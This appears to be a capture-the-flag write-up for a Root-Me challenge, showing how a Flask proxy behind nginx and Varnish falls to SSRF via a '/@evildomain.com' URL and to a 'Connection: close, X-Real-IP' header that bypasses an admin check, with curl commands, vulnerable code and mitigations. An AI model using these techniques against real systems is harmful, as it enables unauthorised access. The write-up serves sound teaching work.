Code Snippet Serie - 04 - SSRF and HTTP Hop-by-Hop Header Injection
Challenge Description
 
 

This challenge, authored by @baguette, involves exploiting vulnerabilities in a Flask application that acts as a proxy. The application is behind a cache server managed by a varnish and a load balancer managed by a nginx. The application has two main routes: / and /admin. The / route proxies requests to https://root-me.org, while the /admin route restricts access based on the presence of the X-Real-IP header.
Vulnerability Overview
🛑 Vulnerabilities: The application is vulnerable to Server-Side Request Forgery (SSRF) and HTTP Hop-by-Hop Header Injection.
1. SSRF Vulnerability
The SSRF vulnerability lies in the proxy route, which constructs a URL using user-supplied input without proper validation.
2. HTTP Hop-by-Hop Header Injection
The HTTP Hop-by-Hop Header Injection vulnerability allows attackers to manipulate headers in a way that can bypass security checks or cause unexpected behavior in the backend.
Exploitation Process
1. SSRF Exploitation
- 
Discovery of SSRF Vulnerability: - The proxy route constructs a URL using the pathparameter without proper validation.
- An attacker can manipulate the URL to make the server request arbitrary resources.
 @app.route('/', defaults={'path': ''}) @app.route('/<path:path>') def proxy(path): SITE_NAME = 'https://root-me.org' return get(f'{SITE_NAME}{path}').content
- The proxy route constructs a URL using the 
- 
Crafting a Malicious URL: - By using a URL like /@evildomain.com, the server will interpret it ashttps://root-me.org@evildomain.com, effectively making a request toevildomain.com.
 
- By using a URL like 
- 
Submitting the Malicious URL: - Send a request to the vulnerable endpoint with the crafted URL.
- The server will fetch content from the attacker-controlled domain.
 curl http://<target>/@evildomain.com
2. HTTP Hop-by-Hop Header Injection Exploitation
- 
Understanding Hop-by-Hop Headers: - Hop-by-hop headers are meant to be consumed by the proxy handling the request and not forwarded to the next hop.
- Headers like Connection,Keep-Alive,Transfer-Encoding, etc., are treated as hop-by-hop by default.
- If we set the HTTP headr X-Real-IPas hop-by-hop:- nginx will create the X-Real-IPheader and forward it to varnish
 location / { proxy_pass http://cache_servers; proxy_set_header Connection $http_connection; proxy_set_header X-Real-IP $remote_addr; proxy_pass_request_headers on; }- varnish will consume and then drop it, forwarding the request to flask without the header
 sub vcl_pipe { set bereq.http.X-Real-IP = req.http.X-Real-IP; }- flask will not have the X-Real-IPheader, so it will consider that the request has not been sent by varnish, so it was an admin.
 @app.route('/admin') def admin_panel(): app.logger.info(request.headers) client_ip = request.headers.get('X-Real-IP', None) if not client_ip: return "Welcome to the admin panel!" else: abort(403)
- nginx will create the 
 
- 
Crafting a Malicious Request: - Use a tool like curlto inject hop-by-hop headers.
- Example: curl -H 'Connection: close, X-Real-IP' http://target
 
- Use a tool like 
- 
Submitting the Malicious Request: - The injected Connectionheader will cause the Varnish cache server to remove theX-Real-IPheader, bypassing security checks on the Flask application.
 curl -H 'Connection: close, X-Real-IP' http://target Welcome to the admin panel!
- The injected 
Mitigation
🔒 To mitigate these vulnerabilities, the following measures can be taken:
- 
For SSRF: - As usual, validate and sanitize user input to ensure only allowed URLs are requested.
- Use a whitelist of allowed domains.
 
- 
For HTTP Hop-by-Hop Header Injection: - Ensure proxies properly consume and do not forward hop-by-hop headers.
- Implement strict header validation and filtering.